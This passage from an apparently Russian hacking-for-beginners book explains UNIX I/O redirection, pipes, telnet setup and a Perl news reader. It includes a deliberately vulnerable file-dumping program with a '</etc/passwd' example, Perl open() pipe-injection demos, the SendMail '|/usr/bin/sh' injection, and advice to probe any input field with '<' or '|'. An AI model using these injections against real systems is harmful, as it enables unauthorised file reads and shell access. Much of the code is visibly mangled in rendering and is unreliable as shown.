На этом краткое введение в UNIX можно считать законченным. Умения прогуляться по каталогам и запустить нужную программу для начала окажется вполне достаточно. Конечно, это не избавляет от необходимости приобретения справочных руководств и учебников по UNIX, но множество полезной информации можно найти и во встроенной справочной системе, доступной для просмотра с помощью утилиты ‘man’.

Получить помощь по любой команде можно, указав ее название в командной строке, например, так “man ls” (Смотри рисунок 055.bmp)

Демонстрация встроенной справочной системы man

Устройство конвейера и перенаправление ввода-вывода (глава для начинающих)

O В этой главе:

O Концепция ввода-вывода

O Перенаправление ввода-вывода

O Использование перенаправления ввода-вывода для атак

O Устройство конвейера

O Поддержка конвейера MS-DOS

O Использование конвейера для атак

Понимание концепции ввода-вывода в UNIX требуется как для самих атак, так и для успешной защиты от них.

Любую программу можно рассматривать как «черный ящик» с входом и выходом. Это справедливо для большинства консольных приложений MS-DOS и Windows 9x/Windows NT, но графические приложения помимо результатов своей работы выводят множество вспомогательной информации, и в определенных ситуациях оказываются бесполезными. Например, все серверные приложения должны по возможности минимизировать обмен с пользователем, посылая и принимая только полезную информацию, а обличить ее в красивый интерфейс можно и на клиентской стороне.

Разработчики UNIX значительно облегчили написание модульных программ, унифицировав систему ввода-вывода. С любым устройством стало возможно обращаться точно так, как с файлом, в частности читать и писать в него. Поэтому, результат работы одной программы может быть использован другой или выведен на экран.

Например, программу копирования файлов “copy” (MS-DOS) ничуть ни хуже использовать для создания новых файлов и вывода их содержимого на экран. Для этого достаточно вспомнить, что с клавиатурой и терминалом (объединенных в MS-DOS в устройстве под именем ‘con’) можно обращаться точь-в-точь как с обычным файлом. Доказывает это утверждение следующий эксперимент:

· copy con myfile
· Hello, World!
· ^Z
· 1 файлов скопировано
·
· copy myfile con
· Hello, World!
· 1 файлов скопировано

Начинающим, вероятно, следует пояснить - символ «Ctrl-Z» указывает программе на завершение ввода и конец файла. В самом файле он отсутствует.

В качестве другого примера используем коротенькую демонстрационную программу, написанную на языке Си - “/SRC/io.c”, исходный текст которой приведен ниже (для наглядности никакие проверки не выполняются).

· #include «stdio.h»
· int main(int argc, char *argv[])
· {
· char buf[100],out[7],tmp,p=0;
· FILE *f;
· f=fopen(argv[1],"r");
· fgets( amp;buf[0],100,f);
· fclose(f);
· f=fopen(argv[2],"w");
· while(buf[p])
· {
· sprintf( amp;out[0],"0x%X\n",buf[p++]);
· fputs( amp;out[0],f);
·}
· return 0;
·}

Она читает одну строку из файла, переданного в качестве первого аргумента командной строки, и записывает во второй ASCII коды символов в шестнадцатеричном представлении. Например, так:

· io.exe con con

· Hello, Sailor!

· 0x48

· 0x65

· 0x6C

· 0x6C

· 0x6F

· 0x2C

· 0x20

· 0x53

· 0x61

· 0x69

· 0x6C

· 0x6F

· 0x72

· 0x21

· 0xA

Характерная особенность этой (да и многих других) программ - использование клавиатуры и терминала для приема и отображения информации. Но постоянно указывать ‘con con’ слишком утомительно, гораздо лучше заранее назначить устройства ввода-вывода по умолчанию.

В стандартной библиотеке языка Си для этой цели используются файловые манипуляторы stdin и stdout, связанные со стандартными устройствами ввода и вывода соответственно. Модернизированный вариант программы может выглядеть так (на диске он находится под именем “/SRC/iostd.c”):

· #include «stdio.h»
· int main(int argc, char *argv[])
· {
· char buf[100],out[7],tmp,p=0;
· fgets( amp;buf[0],100,stdin);
· while(buf[p])
· {
· sprintf( amp;out[0],"0x%X\n",buf[p++]);
· fputs( amp;out[0],stdout);
·}
· return 0;
·}

Но как в этом случае заставить программу выводить результаты работы в файл, а не терминал? Стандартный ввод-вывод выгодно отличается возможностью направить его куда угодно, указав в командной строке специальный символ “»” для вывода и “«” для ввода.

Например, используем ранее созданный файл myfile и выведем результат работы iostd в файл “out.txt”. Это можно сделать следующим образом:

· iostd.exe «myfile»out.txt
· copy out.txt con
· 0x48
· 0x65
· 0x6C
· 0x6C
· 0x6F
· 0x2C
· 0x20
· 0x53
· 0x61
· 0x69
· 0x6C
· 0x6F
· 0x72
· 0x21
· 0xA
· 1 файлов скопировано

Да, это работает! Но как? Командный интерпретатор при запуске анализирует командную строку и если обнаруживает символы перенаправления ввода-вывода, открывает соответствующие файлы и связывает с ними потоки ввода-вывода.

Перенаправление ввода-вывода полезная штука, но зачастую слишком уж уязвимая для атак. Рассмотрим следующий код (расположенный на диске под именем “/SRC/iohack.c”), часто встречающийся в UNIX-приложениях.

· #include «stdio.h»
· main()
· {
· FILE *f;
· char buf[100],c=2;
· printf("$");
· fgets( amp;buf[0],100,stdin);
· if (buf[0]!='«')
· printf("%s\n", amp;buf[0]);
· else
· {
· while(buf[c]!=0xA) c++;
· buf[c]=0;
· if (f=fopen( amp;buf[1],"r"))
· while((c=fgetc(f))!=EOF)
· printf("%c",c);
·}
·}

Программа запрашивает у пользователя строку и выводит ее на экран. Но, если указать знак перенаправления потока ввода, на экран выдастся содержимое запрашиваемого файла! Например:

· iohack.exe
· $Hello!
· Hello!
·
· iohack.exe
· $«myfile
· Hello, Sailor!

С одной стороны, поддержка приложением перенаправления ввода-вывода очень удобна и облегчает работу с компьютером (в самом деле, зачем вводить текст вручную, если его можно взять из файла?), но… часто приводит к последствиям никак не запланированными разработчиком [94].

Приведенный выше пример, запущенный в среде UNIX, встретив конструкцию “«/etc/passwd” выдаст на экран содержимое файла паролей, или любого другого файла который будет запрошен. С первого взгляда ничего страшного в этом нет, - программа наследует все привилегии пользователя и получает доступ к тем, и только к тем, файлам, которые пользователь мог бы просмотреть и без помощи этой программы, скажем, командой “cat”.

Но все безоблачно лишь на первый взгляд. В UNIX есть два типа процессов - наследующие права пользователя и исполняющиеся от имени системы. Примером последних может служить почтовый демон SendMail, обычно исполняющийся с наивысшими привилегиями. Ранние версии поддерживали перенаправление ввода-вывода и позволяли приаттачить к письму любой файл, даже недоступный простому пользователю.

Разумеется, SendMail не одинок, и подобные ошибки допущены во множестве приложений, щедро разбросанных по серверам. Часто для их поиска даже не требуется кропотливого изучения исходных текстов программы - достаточно во всех вводимых строках (или полях заголовка) подставить символ “«” и посмотреть на реакцию программы - нет-нет, да повезет!

Однако возможности перенаправления ввода-вывода очень ограничены. Рассмотрим это на следующем примере, - пусть требуется получить отсортированный в обратном порядке список файлов текущей директории. Команда ‘ls’ не предоставляет такого сервиса, поэтому придется воспользоваться утилитой ‘sort’ Сперва сохраним результат работы команды ‘ls’ (или dir в MS-DOS) в файле temp. Затем используем его в качестве входного потока данных утилиты ‘sort’, запушенной с ключом ‘-r’ для задания обратного порядка сортировки.

· $ ls»temp

· $ sort -r «temp

· temp

· sioux.pl

· passwd

· iohack.o

· iohack.c

· index_hack.htm

· demos.txt

· bomb.pl

· attack2.htm

Да, это работает, но требует создания лишнего файла на диске и в целом недостаточно удобно. А нельзя ли связать стандартный вывод одной программы со стандартным вводом другой? Можно! И такая конструкция называется конвейер или труба (от английского pipe).

Для создания конвейера необходимо использовать символ “|”, разделяющий запускаемые программы следующим образом: “программа 1 параметры | программа 2 параметры | программа 3 параметры”. Разумеется, стандартный ввод первой программы в цепочке и стандартный вывод последней могут быть перенаправлены с помощью символов “«” и “»” соответственно (результат попытки перенаправления остальных непредсказуем, и обычно разрывает цепочку конвейера).

Интереснее проследить, как происходит взаимодействие процессов и передача данных по конвейеру. Конвейер - сути дела тот же файл, но скрытый от пользователя, построенный по принципу FIFO (от английского First Input First Output - первый пришел - первым и уйдешь). Так, запись в конвейер, из которого никто не читает, рано или поздно вызывает его переполнение (а размер буфера обычно порядка четырех килобайт) и приводит к блокировке процесса-писателя, до тех пор, пока хотя бы один байт из конвейера не будет прочитан. Точно так, попытка чтения из пустого конвейера приводит к остановке процесса-читателя до тех пор, пока в нем не окажется хотя бы один байт.

Схематическое изображения конвейера

Но в любом случае, при обработке конвейера программы поочередно запускаются слева направо, и приведенный выше пример, переписанный с учетом конвейера, может выглядеть так:

· $ ls | sort -r

· sioux.pl

· passwd

· iohack.o

· iohack.c

· index_hack.htm

· demos.txt

· bomb.pl

· attack2.htm

Не правда ли намного проще и элегантнее? Между прочим, конвейеры поддерживаются не исключительно одной UNIX, - не хуже с ними справляется и старушка MS-DOS. Доказывает это эксперимент, приведенный ниже:

· dir /b | sort /r

· sioux.pl

· passwd

· iohack.o

· iohack.c

· index_hack.htm

· demos.txt

· bomb.pl

· attack2.htm

Кажется, в этом нет ничего удивительного, но зададим простой вопрос, - как однозадачная операционная система MS-DOS может одновременно запустить два процесса? Оказывается, в ней реализован несколько другой механизм поддержки конвейера, - сначала запускается первая слева программа, записывает все результаты своей работы в некоторый промежуточный буфер, затем запускается вторая программа и получает из буфера входные данные. Это уже не труба получается, а настоящий бассейн!

С первого взгляда в таком подходе ничего дурного нет, но некоторые примеры могут работать некорректно или и вовсе не работать. К таким относится, например, UNIX-утилита “yes”, посылающая на стандартный вывод бесконечный поток символов ‘y’. За кажущейся бесполезностью она часто требуется для пакетного выполнения программ, периодически отвлекающих пользователя запросами на подтверждение выполнения какой-нибудь операции.

В UNIX конвейер полностью заполняется символами ‘y’, и выполнение утилиты “yes” приостанавливается, до тех пор, пока другой процесс не возьмет из конвейера один или несколько символов. Но в MS-DOS два процесса не могут исполняться параллельно, и пока процесс “yes” не закончит выполнение, никакое другое приложение не сможет получить управление, а поскольку выполнение ”yes” не завершиться никогда (программа-то умышленно зациклена) система скинет ласты и впадет в дурной цикл.

 Сравнение конвейеров в UNIX и MS-DOS. В MS-DOS конвейер больше похож на «бассейн», чем на «трубопровод»

Поддержка конвейеров - штука замечательная, но только не с точки зрения безопасности. Следующий код доказывает это утверждение (на диске он находится под именем “/SRC/pipe.hack.pl”).

· open(FH,«»);
· if (FH)
· {
· while(«FH»)
· {
· print;
·}
·}

На первый взгляд, программа предназначена для вывода содержимого файла на экран, но ниже показано, что произойдет, если воспользоваться символом конвейера:

· ls|

· sioux.pl

· passwd

· iohack.o

· iohack.c

· index_hack.htm

· demos.txt

· bomb.pl

Опаньки! Да ведь функция open языка Perl негласно поддерживает конвейер! Вместо открытия файла происходит его запуск! Вряд ли стоит объяснять, какие последствия вытекают из этого! Так, одна из версий SendMail позволяла в качестве обратного адреса отправителя письма подставить строчку “|/usr/bin/sh” и оболочка действительно запускалась, предоставив атакующему привилегированный доступ в систему (от имени демона).

Огромное количество защит оказалось взломано именно «благодаря» поддержке конвейера, позволяющего выполнять на удаленной машине любой код [95]. Аналогично перенаправлению ввода-вывода, конвейерные дырки могут быть обнаружены не только тщательным изучением исходных тестов приложений, но и простой подстановкой знака “|” во все доступные строки ввода и поля заголовков. Не так уж и редко это срабатывает.

Важно отметить, подобной «вкусности» подвержена не только операционная система UNIX, но и множество других, в частности Windows 9x/Windows NT. Убедиться в этом поможет приведенный выше код “pipe.hack.pl”. Достаточно запустить его на платформе Windows и ввести следующую команду:

· dir |
· Том в устройстве F не имеет метки
· Серийный номер тома: 2F42-0AE8
· Содержимое папки F:\TPNA\src
·. «ПАПКА» 28.06.00 23:14.
·… «ПАПКА» 28.06.00 23:14…
· IO C 294 06.07.00 10:29 io.c
· IO OBJ 775 06.07.00 10:18 io.obj
· IO EXE 32 768 06.07.00 10:18 io.exe
· IOSTD C 228 06.07.00 10:30 iostd.c
· IOSTD OBJ 627 06.07.00 10:26 iostd.obj
· IOSTD EXE 32 768 06.07.00 10:26 iostd.exe
· MYFILE 16 06.07.00 10:53 myfile
· OUT TXT 89 06.07.00 10:53 out.txt
· IOHACK C 295 06.07.00 15:18 iohack.c
· IOHACK OBJ 827 06.07.00 14:58 iohack.obj
· IOHACK EXE 32 768 06.07.00 14:58 iohack.exe
· PIPEHA~1 PL 65 06.07.00 22:29 pipe.hack.pl
· 12 файлов 101 520 байт
· 2 папок 1 710 641 152 байт свободно

Методы противодействия и защиты от подобных ошибок будут описаны в главе «Атака на WEB-сервер», а ниже будет объяснено почему символ конвейера появляется то слева от команды (как в примере с “|/usr/bin/sh”), то справа (“dir |”). Вообще-то «классический» конвейер состоит минимум из двух программ, и вывод первой из них попадает на ввод второй. То есть конструкцию “program 1 | program 2” можно изобразить как “stdin ® program 1 ® program 2® stdout”. А в случае, когда используется всего лишь одна программа, вывод программы, стоящей до символа конвейера, перенаправляется в открываемый функцией “open” манипулятор, а вывод программы, стоящей за символом конвейера, никуда не перенаправляется и идет прямиком на терминал.

Сказанное позволяет продемонстрировать приведенный ниже код (на диске, прилагаемом к книге, он находится в файле “/SRC/pipe.test.pl”):

· open(FH,«»);
· if (FH)
· {
· while( $x=«FH» )
· {
· print “Этот текст прочитан из файла:$x” ;
·}
·}

Строка «Этот текст прочитан из файла», предваряющая переменную $x, позволит отличить символы, получаемые чтением из файла, от текста непосредственно выводимого программой на экран.

· echo Hello, Sailor |

· Этот текст прочитан из файла:Hello, Sailor

· |echo Hello, Sailor!

· Hello, Sailor!

В первом случае, когда команда “echo” стоит до символа конвейера, результат ее работы направляется в открываемый функцией open манипулятор, откуда он может читается оператором “«»” и выводится на экран вызовом “printf”.

В другом случае, когда команда “echo” стоит после символа конвейера, результат ее работы направляется в стандартное устройство вывода, и минует оператор “print”.

И так-то славно дело пошло! Я сижу на мачте верхом, кручу бочку одной рукой, другой снимаю с конвейера готовую продукцию, передаю Фуксу, тот Лому, а Лом считает, записывает и выпускает на берег. Часа за три весь остров заселили.

Александр Некрасов

Удаленное выполнение программ (глава для начинающих)

O В этой главе:

O История возникновения telnet

O Устройство telnet-сервера

O Настойка telnet-клиента

O Вход в удаленную систему

Пару десятков лет назад о персональных компьютерах никто и мечтать не смел. В то время электронно-вычислительные машины занимали целые помещения (ну если не помещения, то шкафы - точно) и стоили жутко дорого. Как правило, один компьютер покупался целиком на всю фирму (или университет) и обслуживал десятки терминалов.

 

Протокол telnet был разработан в начале 80-х годов в качестве типового метода 8-битной двунаправленной связи между виртуальным терминальным устройством и компьютером. Виртуальным терминал назван для того, чтобы отличать его от обычного (неинтеллектуального, dumb). По мере снижения цен на персональные компьютеры найти неинтеллектуальные терминалы становится все труднее. Многие из них представляют собой просто экран и клавиатуру, соединенные с компьютером через последовательный интерфейс. Персональные компьютеры, оснащенные собственными процессорами, ОЗУ и дисковой памятью, гораздо универсальнее и быстро вытесняют неинтеллектуальные терминалы. Около десяти лет назад, когда я работал в фирме, производящей UNIX-компьютеры, только высшее руководство имело свои собственные ПК, у простых смертных были установлены терминалы, подключенные по каналам со скоростью передачи 9600 бит/с. А счастливые пользователи ПК связывались с центральными UNIX-компьютерами с помощью DOS-версии telnet.

Зан Олифан

Терминалом тогда называли маломощный компьютер, обслуживающий монитор и клавиатуру, а все вычисления выполняла высокопроизводительная [96] ЭВМ. Подобная схема жива и сегодня - именно так функционируют современные суперкомпьютеры, да и не только они.

Программа, выполняющаяся на центральной ЭВМ, получает с терминала исходные данные, выполняет все необходимые вычисления и отправляет результат своей работы обратно на терминал. Ну, чем не классический пример, иллюстрирующий идеальную концепцию ввода-вывода?

Потребность стандартизации взаимодействия терминала с удаленным компьютером возникла еще на заре развития ARPANET, и в результате этого в 1969 году на свет появился протокол telnet (сокращение от telecommunication network protocol - сетевой коммуникационный протокол). С его помощью удавалось осуществить заход на сервер с удаленного терминала, и необходимость иметь аппаратный доступ к узлу (попробуй-ка ее обеспечить!) отпадала. Помимо telnet был разработан и проколол rlogin, впервые появившийся в 4.2 BSD UNIX и предназначавшийся для удаленного управления терминалами между UNIX-узлами. В отличие от универсального telnet, протокол rlogin мог использоваться только в среде UNIX. Это упрощало его программирование, но и ограничивало области применения. Поэтому, в настоящее время протокол telnet по популярности заметно превосходит rlogin.

Оба протокола будут подробно рассмотрены в главе «Протокол telnet и rlogin», здесь же они будут кратко описаны в общих чертах.

Технически удаленный доступ в систему можно реализовать перенаправлением ввода-вывода. В самом деле, какая разница соединен терминал с компьютером проводами или межконтинентальной сетью Internet? С точки зрения прикладных программ терминал всегда остается терминалом, даже если физически не существует в природе. В UNIX любое устройство (в том числе виртуальное) может представляться в виде файла. А файл в свою очередь - это объект, поддерживающий, по крайней мере, две основных операции - чтения и записи данных. Поэтому, Internet-соединение можно представить как некоторый воображаемый файл.

Грубо говоря, все премудрости telnet-сервера сводятся к умению запихать терминальный ввод-вывод в TCP-соединение (хотя теоретически можно создать telnet и на базе UDP протокола). Схематично взаимодействие между telnet-сервером и telnet-клиентом показано на рисунке t26_1.jpg

 Модель взаимодействия telnet-клиента с telnet-сервером

На бумаге все, как всегда, просто, но вот на деле возникает множество непредвиденных сложностей, вынуждающих идти на всевозможные ухищрения. Это вряд ли интересно начинающим, поэтому вернемся к нашим баранам, отослав профессионалов к главе «Протоколы telnet и rlogin», в которой тот описывается во всех подробностях.

На заре развития Internet, когда еще никто не успел додуматься до WEB, а центром сетевой жизни были почта и Usenet, протокол telnet оказался основным средством межсетевого общения. Сегодня же подобный сервис - большая экзотика. И вряд ли сложно догадаться почему - слишком много развелось за последнее время вредителей и вандалов всех мастей, а удаленное выполнение программ - мощное оружие в руках злоумышленника, вот и стали администраторы закрывать ворота на свои сервера.

К счастью, в Internet существует несколько хороших бесплатных telnet-серверов, предоставляющих бесплатный доступ. В книге для большинства экспериментов будет использоваться hobbiton.org, но читатель может выбрать и другой сервер, огромный список которых находится на страничке http://www.telnet.org/htm/places_misc.htm.

Достаточный признак наличия telnet-сервера на узле - открытый двадцать третий порт. Впрочем, далеко не каждый сервер пускает к себе всех желающих. Сразу же после установки соединения запрашивается имя пользователя и пароль, но только в редких случаях удается ввести нечто вроде “guest” (в переводе на русский «гость») или “newuser” (в переводе на русский «новый пользователь»).

Для общения с telnet-сервером потребуется telnet-клиент. Какой именно выбрать - зависит от вкуса читателя, в книге же будет использоваться исключительно telnet.exe, входящий в штатную поставку Windows 9x/Windows NT. Это не лучший выбор и его возможности сильно ограничены, но он всегда доступен любому пользователю, в то время как остальные утилиты еще попробуй-ка, разыщи!

Приложение telnet.exe, поставляемое с Windows 95 и Windows 98, содержит ошибку, связанную с переполнением буфера слишком длинным аргументом командной строки. Это позволяет выполнить любой код на компьютере жертвы, стоит ей кликнуть по ссылке в окне браузера, наподобие telnet://server.com/xxxxxxxx, где “xxxx…” специальным образом подобранная последовательность [97].

До начала работы любого клиента необходимо настроить. Ниже будет показано как это сделать на примере штатного клиента Windows. Остальные же клиенты конфигурируются в той или иной степени аналогично. Запустив telnet.exe, необходимо вызывать диалог «Параметры терминала», активируя пункт меню “~Терминал/Параметры”. Появляется следующее окно (смотри рисунок 059):

Параметры терминала telnet.exe

При работе с telnet-сервером флажок «Отображение ввода» (другой распространенный вариант названия этой опции «Локальное эхо» [98]) необходимо сбросить, иначе все вводимые с клавиатуры символы будут дублироваться. Это происходит потому, что telnet-сервер возвращает клиенту все символы, набранные им с клавиатуры. Не может же пользователь работать вслепую?

Это кажется настолько очевидным, что существование альтернативных вариантов просто не укладывается в голове, но, несмотря на это они существуют! Напротив, в большинстве экспериментов, описываемых в книге, флажок «Отображение ввода» придется устанавливать, поскольку такие сервера как, например, SMTP, POP3, HTTP «молча» проглатывают отдаваемые пользователем команды и возвращают результат своей работы, но не отображают принятые символы на терминале. Однако клиент telnet может самостоятельно выводить на экран все нажатые клавиши, если флажок «Отображение ввода» установлен.

Две следующие опции управляют формой курсора. Значение их определяется вкусами и пристрастиями пользователя. Установка флажка «мерцающий курсор» приводит к миганию, позволяя его легче отыскать на экране. Если же мерцание раздражает - этот флажок можно сбросить.

Форму курсора предлагается выбрать между «простым» и «прямоугольным». «Простая» приводит к появлению на экране символа прочерка, изображенного на рисунке 063. Напротив, прямоугольный курсор занимает всю строку целиком и выглядит так, как показано на рисунке 062.

 Вид курсора при установленном флаге «прямоугольный курсор»

 Вид курсора при сброшенном флаге «прямоугольный курсор»

«Клавиатура VT100» указывает на необходимость эмуляции клавиатуры терминала VT-100, отличающегося от обычных терминалов наличием клавиш-стрелок, управляющими положением курсора. Если этот флажок сбросить, в редакторе vi придется пользоваться клавишами ‘hjkl’, что может оказаться несколько непривычно современному пользователю, поэтому “VT100” лучше всегда держать установленным.

Размер буфера это число строк, которые будет запоминать telnet-клиент, допуская возможность прокрутки окна. Рекомендуется установить достаточно большое значение, иначе вывод результатов работы программы станет уходить «вверх» за окно, и не будет никакой возможности вернуть его назад. Впрочем, в качестве альтернативы telnet.exe допускает протоколирование сеанса работы, - сохранение всех нажатых клавиш и полученной от сервера информации в файле протокола.

Протоколирование - часто необходимая в работе вещь и лучше ее всегда держать включенной. Для этого достаточно открыть меню “~Терминал/Начать протоколирование” и указать имя файла в который будет вестись запись. Закончить сеанс протоколирования можно либо выходом из telnet, либо прекращением протоколирования командой меню “~Терминал/Закончить протоколирование”.

Наконец, шрифты, как и цвет фона окна, задаются каждым по своему вкусу и желанию и на работу терминала ничуть не влияют.

Таким образом, до начала сеанса с telnet-сервером необходимо сбросить флажок «Отображение ввода» и установить «Эмуляция VT100», значения всех остальных могут варьироваться в зависимости от вкусов пользователя.

Врезка «замечание»

В поставку Windows 2000 входит значительно измененный, консольный, telnet-клиент, краткое описание которого находится в главе «Обзор telnet-клиентов». Однако допустимо использование прежнего, графического telnet-клиента, взятого из поставки Windows 95 (Windows 98) или Windows NT 4.x. Для этого достаточно скопировать один исполняемый файл telnet.exe.

Но старый клиент не способен соединится с telnet-сервером Windows 2000, поскольку не поддерживает NTLM аутентификацию, которую настоятельно рекомендуется использовать в целях безопасности. Со всеми же остальными задачами, описанными в этой книге, он успешно справляется.

Следующий эксперимент демонстрирует подключение к telnet-серверу hobbiton.org и регистрацию нового пользователя. Для этого необходимо выбрать пункт меню “~Подключить/Удаленная система”. Когда на экране появится диалоговое окно, изображенное на рисунке 060 в поле «Имя узла» указать «hobbiton.org» (или адрес другого узла, к которому необходимо подключиться на данный момент). Содержимое поля «порт» на данном этапе необходимо оставить по умолчанию, то есть “telnet” или ввести численное значение порта - “23” и выбрать “vt100” в «Типе терминала».

Рисунок 060 Диалог «подключение»

Затем нажать кнопочку «подключить», и пару секунд появится заставка “OpenBSD” [99], и требование ввести имя пользователя и пароль (смотри рисунок 061).

Рисунок 061 Начало telnet-сессии с сервером

Если ввести свое имя и взятый наугад пароль, сервер поругается,- не знаем мы, мол, таких проходимцев, пробуйте еще раз. Для регистрации нового пользователя необходимо в качестве имени ввести “newuser”. Сервер задаст несколько придирчивых вопросов о поле, возрасте, месте проживания и через некоторое время, варьирующиеся от десятков минут до нескольких дней, создаст новый аккаунт и пустит в систему.

Что можно сделать с помощью Perl (глава для начинающих)

O В этой главе:

O История создания языка Perl

O Назначение и возможности Perl

O Демонстрация возможностей Perl

«…программисты слишком часто обвиняют в грехах именно себя. Программистам нужно меньше времени тратить на оправдания. Если программирование не интересно, мы не будем убеждать других стать программистами»

Ларри Уолл

Народная молва утверждает, лучше, дескать, один раз увидеть, чем сто раз услышать. Поэтому, вместо пылкой агитации за изучение языка Perl, ниже будет приведен один маленький, не самый эффектный, но достаточно оригинальный эксперимент. Как известно, большинство серверов новостей Usenet часто сильно перегружены и не отличаются завидной скоростью. А сами конференции порой содержат тысячи сообщений, просматривать которые в on-line весьма медленно и накладно.

Между тем, текстовые сообщения легко сжимаются любым архиватором в несколько раз, - будь сервер малость поумнее, - он мог бы передавать упакованный поток данных на компьютер клиента, заметно уменьшая сетевой трафик.

Но такую операцию не трудно осуществить и самостоятельно: выбрать сервер с быстрым каналом, установить на нем клиентскую программу, которая умела бы читать сообщения из выбранной конференции, упаковывать их и выкладывать на быстрый FTP, поддерживающий докачку.

Ниже приведена одна из возможных реализаций такой программы (на диске, прилагаемом к книге, она находится в файле “/SRC/nr.pl”). В качестве упражнения зайдите telnet-ом на hobbiton.org (смотри главу «Удаленное выполнение программ») и наберите следующий текст в редакторе vi:

· #!/usr/local/bin/perl
· use Socket;
·
· #Настойки по умолчанию
· #$server='mailserver.corvis.ru';
· #$server='oberon.rnd.runnet.ru';
· $server='news.fido7.ru';
· $group='fido7.ru.nethack';
· $listfile='list.txt';
· $msgfile='msg.txt';
·
· print "NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky\n";
· print "Open nf.cfg file…";
·
· #Попытка взятия настоек из файла
· if (open(FH,"nr.cfg"))
· {
· print "OK\n";
· $server=«FH»;
· $server=~ s/\n//;
· $group=«FH»;
· $group =~ s/\n//;
·}
· else
· {
· print "fail\n";
·}
·
· print "Server [$server]:";
· $tmp=«»; if (length($tmp)»2) {$server=$tmp; $server=~ s/\n//;}
·
·
· print "Command (MSG|LIST|EXIT):";
· $tmp=«»;
·
· if ($tmp=~/MSG\n/)
· {
· print "Group [$group]:";
· $tmp=«»;
· if (length($tmp)»2) {$group=$tmp; $group=~ s/\n//;}
· getmsg();
·}
·
· if ($tmp=~/LIST\n/)
· {
· LIST();
·}
·
· if ($tmp=~/EXIT\n/)
· {
· EXIT();
·}
·
· #Сохраняем настойки в файле
· if (open(FH,"»nr.cfg"))
· {
· print FH "$server\n";
· print FH "$group\n";
·}
· close (FH);
·
·
· sub getmsg()
· {
·
· $cmdcount=0;
· print "Connecting to $server…";
· socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);
· connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;
· print "ok!\n";
·
· recv(NNTP,$rc,200,0); # Приглашение сервеа
· print "$rc\n";
·
· send(NNTP,"GROUP $group\r\n",0); # Выбор группы
· $group_res=«NNTP»;
· if(substr($group_res,0,3)-411)
· {
· print "$group_res\n";
· die;
·}
· print "$group_res\n";
·
· open(FH,"»$msgfile"); # Открыть файл сообщений
· print FH "$group_res\n";
· $cmdcount=0;
·
· $reader=1; # цикл
· $msgdone=0; # Сообщений прочитано
·
· while($reader)
· {
· send(NNTP,"ARTICLE\r\n",0); # Новая статья
·
· while(substr(($rc=«NNTP»),0,3)!~/\.\r\n/)
· {# Чтение статьи
·
· if (!$rc) {print "Close connection\n";die;}
· print FH $rc;
·}
· print FH $rc;
· $msgdone++; # Следующее сообщение
· print "=$msgdone;\r"; # Протокол на экран
·
· send(NNTP,"NEXT\r\n",0); # Следующее сообщение
· $nx=«NNTP»;
·
· $add=1;
· while($add)
· {
· if (substr($nx,0,1)!~/\./){$add=0;}
· if (substr($nx,0,1)=~/\./){$nx=«NNTP»;}
·
·}
· $nx++;
·
· if ($nx-422) {$reader=0;} # Выход из цикла
·}
·
· close (FH);
·
· if (open(CF,"$msgfile.gz")) # Удалить файл если он уже есть!
· {
· close(CF);
· unlink("$msgfile.gz");
·}
·
· open(FG,"|gzip $msgfile"); # Сжать!
· print "Done\n";
· close(NNTP);
·}
·
· sub LIST()
· {
· print "Connect to $server…";
· socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);
· connect(NNTP, sockaddr_in(119,inet_aton($server))) || die;
· print "ok\n";
·
· recv(NNTP,$rc,200,0);
· print $rc;
·
· print "»LIST\n";
· send(NNTP,"LIST\r\n",0);
·
· open(FH,"»$listfile");
· print FH "Server: $server \nLIST:\n";
·
· $cmdcount=0;
·
· while(substr(($rc=«NNTP»),0,1)!~/\./)
· {
· $cmdcount++;
· #if ($debug) {print "$rc«BR»\n";}
· print "=$cmdcount\r";
·
· print FH $rc;
·}
· close (FH);
·
·
· if (open(CF,"$listfile.gz"))
· {
· close(CF);
· unlink("$listfile.gz");
·}
·
· print "Done\n";
· open(FG,"|gzip $listfile");
·
· close(NNTP);
· print "«HR»\n";
·}

Запустите созданный файл командой “perl nr.pl”. На экране терминала появится следующее:

· NNTP Reader Version 2.0 (c) 2000 Kris Kaspersky

· Open nf.cfg file…fail

· Server [news.fido7.ru]:

Нажмите клавишу «Enter» или введите адрес news сервера, с которым хотите установить соединение. Затем появится следующий запрос:

· Command (MSG|LIST|EXIT):MSG

Выберете команду “MSG” для получения всех сообщений заданной конференции, или “LIST” для выдачи списка всех доступных конференций. Если выбрать команду “MSG” программа попросит ввести название конференции, сообщения которой требуется получить:

· Group [fido7.ru.nethack]:

После нажатия “Enter” начнется процесс перекачки сообщений на удаленный сервер. Если он действительно находится на быстром канале, это не займет много времени.

· Connecting to news.fido7.ru…ok!

· 200 ddt.demos.su InterNetNews NNRP server INN 2.3experimental 20-Nov-1998 ready (posting ok).

· 211 418 26550 26967 fido7.ru.nethack

· =55;

По окончании процесса в текущей директории будет создан файл “list.txt.gz” (если был запрошен список конференций) или “msg.txt.gz”, содержащий текст сообщений. Воспользуйтесь любым ftp-клиентом и выкачайте этот файл на свой локальный компьютер. Распакуйте его архиватором gzip (или совместимым с ним Winzip32) и, ради любопытства, сопоставьте размеры файла до и после упаковки, прикинув, сколько же времени удалось сэкономить.

Это довольно мирный пример, показывающий полезность Perl в повседневной жизни. Точно так можно перекачать файл с любого сервера, (например, ftp) не поддерживающего докачку, на сервер докачку поддерживающий.

Применительно к атакам подобная технология позволяет убить сразу двух зайцев. Во-первых, она обеспечивает анонимность (ведь программа исполняется от имени удаленного сервера, везде оставляя его адрес, а не IP злоумышленника), а во-вторых, многие атаки с медленного модемного канала реализовать принципиально невозможно!

Любую атаку можно свести к программной реализации, т.е. последовательность инструкций, работающих либо в полностью автономном, либо диалоговом режиме. В первом случае все необходимые установки задаются однократно до начала атаки, после чего атакующий идет пить кофе, дожидаясь окончания работы программы. А во втором требуется тесное взаимодействие с оператором - выдача промежуточных результатов, анализ ситуации и ввод очередной последовательности команд.

В сетевом программировании большую популярность завоевали интерпретаторы, не требующие предварительной компиляции программы перед ее выполнением. Интерпретаторы позволяют создавать мобильный код, одинаково хорошо работающий под управлением любой серверной платформы, разумеется, при условии, что для нее имеется реализации требуемого интерпретатора, и он установлен в системе.

Существует целое море самых разнообразных интерпретаторов, казалось бы, выбирай, - не хочу. Но большинство из них не сыскало большой популярности и известно лишь узкому кругу приверженцев. Вероятность обнаружить какой-нибудь из них на произвольно взятом сервере близка к нулю, и если нет возможности умаслить администратора системы и уговорить установить интерпретатор полюбившегося вам языка - ничего работать не будет.

